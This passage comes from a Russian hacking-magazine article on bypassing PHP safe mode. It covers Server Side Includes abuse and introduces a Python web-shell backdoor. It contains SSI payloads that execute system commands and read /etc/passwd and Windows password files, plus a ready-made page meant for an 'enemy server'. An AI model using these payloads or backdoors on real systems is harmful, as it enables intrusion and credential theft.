Поднимаем железный занавес Александр Любимов aka Sashiks Хакер, номер #081, стр. 081-054-5 $ python -c"import md5;x=md5.new('you_password');print x.hexdigest()". Можно также попробовать загрузить по ftp файл и попытаться запустить его через web. Ддаже несколько раз так получалось, что на прописанном порту открывался бэкдор. Прежде чем пускать питоновые скрипты в бой, обязательно протестируй их на локальной машине или на дружественном сервере, чтобы быть уверенным в его работе. [the end?] Итак, подведем итог. Сегодня мы с тобой разобрались, как действовать при активированном php safe mode, и каким путем идти для обхода его ограничений. Все пхп скрипты в статье я приводить не стал, а лишь привел самые общие и компактные примеры. Доделать и додумать их ты сможешь сам, если у тебя будет желание, полные же законченные версии ты найдешь на нашем диске. Напоследок скажу тебе, что заниматься такими экспериментами и вообще взломами не стоит даже в ознакомительных целях, потому что максимум с чем ты ознакомишься - это с усатыми дядьками в погонах с добрыми улыбками на лицах :). Удачи, не попадайся! [SSI] Я не мог не упомянуть про SSI (Server Side Includes). Это директивы в файлах формата .shtml и .shtm, которые выполняются самим web-сервером Apache, без каких либо сторонних интерпретаторов. С помощью SSI можно творить довольно интересные вещи, начиная от инклудинга файлов и заканчивая исполнением системных команд. Итак, SSI прописывается прямо в тело web-странички (как, например, PHP-код) в виде <!--#директива="значение"-->. Естественно, при заходе на сайт ты видишь не "<!--" и "-->" а результат выполнения. Например, <!--#inlcude="right_menu.html"--> включит в html-код страницы указанную тобой менюшку. Но SSI можно юзать в своих коварных целях. Так, например, <!--#include file="/etc/passwd"--> включит в тело страницы содержание системного файла с учетными записями (это работает не всегда, и если файл не инклудится, то это совсем не значит, что SSI-поддержка отключена). Самым вкусным является тот факт, что мы можем исполнять системные команды от имени веб-сервера: <!--#exec cmd=" uname -a; id"--> выведет нам до боли знакомые результаты :). Аналогично инклудинг и команды выполняются в винде: <!--#include file="c:\admins\passwd.txt"--> и <!--#exec cmd="C:\Windows\system32\cmd.exe|dir C:\"-->. В общем, как видишь, использовать SSI в своих коварных целях не так уж и сложно. Достаточно создать файл следующего содержания и транспортировать его на вражеский сервер: <html> <body> <!--#exec cmd="ls -la /;cat /etc/passwd"--> </body> </html> [python BindShell] Вслед за питоновым шеллом и backdoor'ом хочу тебе рассказать о еще одной замечательной тулзе на python. Софтина очень интересная, и, по словам одного знающего человека, уникальная в своем роде. Знакомься, pyWebShell собственной персоной. Итак, что же такого в ней необычного? Это не просто очередной web-шелл, это бэкдор со встроенными возможностями http-сервера. То есть ты запускаешь его, как обычный бэкдор из командной строки, потом на дефолтном порту открывается маленький http-сервер. После этого ты заходишь браузером по адресу http://hackedmachine.com:8003 и - перед нами удобная web-оболочка (как у web-шелла), которую очень легко использовать! |